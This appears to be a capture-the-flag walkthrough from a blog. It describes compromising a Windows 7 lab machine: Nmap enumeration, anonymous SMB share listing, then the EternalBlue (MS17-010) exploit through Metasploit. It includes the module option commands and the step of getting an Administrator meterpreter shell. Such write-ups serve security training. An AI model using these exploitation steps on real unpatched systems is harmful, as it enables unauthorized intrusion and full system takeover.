Started with an Nmap scan
![](https://static.wixstatic.com/media/eb0517_db4a7d2b58684951818c5c0100309846~mv2.png/v1/fill/w_312,h_51,al_c,q_85,enc_auto/eb0517_db4a7d2b58684951818c5c0100309846~mv2.png)
The output of the Nmap scan shows us that the machine is using SMB, and because I used the option -A in the Nmap command, I was able to see that the SMB version running was 2.1, and the Operating System version was Windows 7.
![](https://static.wixstatic.com/media/eb0517_c16342dcf39f4830a79d20ec394bd2e8~mv2.png/v1/fill/w_948,h_211,al_c,q_85,enc_auto/eb0517_c16342dcf39f4830a79d20ec394bd2e8~mv2.png)
![](https://static.wixstatic.com/media/eb0517_79355d4449544ee9959dd8cd22554883~mv2.png/v1/fill/w_423,h_87,al_c,q_85,enc_auto/eb0517_79355d4449544ee9959dd8cd22554883~mv2.png)
![](https://static.wixstatic.com/media/eb0517_f0a54ad0fa5a442bb8852f7bc97163cf~mv2.png/v1/fill/w_711,h_42,al_c,q_85,enc_auto/eb0517_f0a54ad0fa5a442bb8852f7bc97163cf~mv2.png)
We can attempt to list out the available SMB shares without authentication by using the smbclient tool.
![](https://static.wixstatic.com/media/eb0517_2de3bedad8dc46748e53987882b5da23~mv2.png/v1/fill/w_434,h_200,al_c,q_85,enc_auto/eb0517_2de3bedad8dc46748e53987882b5da23~mv2.png)
We can try to connect to 'Users' and 'Share' shares but I know from experience that the SMB version 2.1 is vulnerable to the EternalBlue exploit.
(If you didn't know this that's fine, a simple google search for 'SMB 2.1 exploit' would lead you to this).
I chose to do perform this exploit using Metasploit, https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/
The above link tells us to use the exploit :
![](https://static.wixstatic.com/media/eb0517_77884ee19c8b42238255d224852743aa~mv2.png/v1/fill/w_405,h_22,al_c,q_85,enc_auto/eb0517_77884ee19c8b42238255d224852743aa~mv2.png)
The we can set the following options:
set rhost 10..10.10.40
set lhost tun0
We enumerated earlier from the Nmap scan that the OS version was Windows 7.
Entering 'show targets' we can can see the option for this is 1
set target 1
Now we can ensure these options were correctly applied using the options command.
After this we can enter exploit or run.
![](https://static.wixstatic.com/media/eb0517_aff7f86c84634f13a888ebd7d9aff619~mv2.png/v1/fill/w_980,h_446,al_c,q_90,usm_0.66_1.00_0.01,enc_auto/eb0517_aff7f86c84634f13a888ebd7d9aff619~mv2.png)
We get a meterpreter shell, and with a getuid we can see we are Administrator (so no need for any privilege escalation).
Now we cd into the Desktop of the machine and use the type command to output the flag.
Congratulations you have completed this box!!
Comments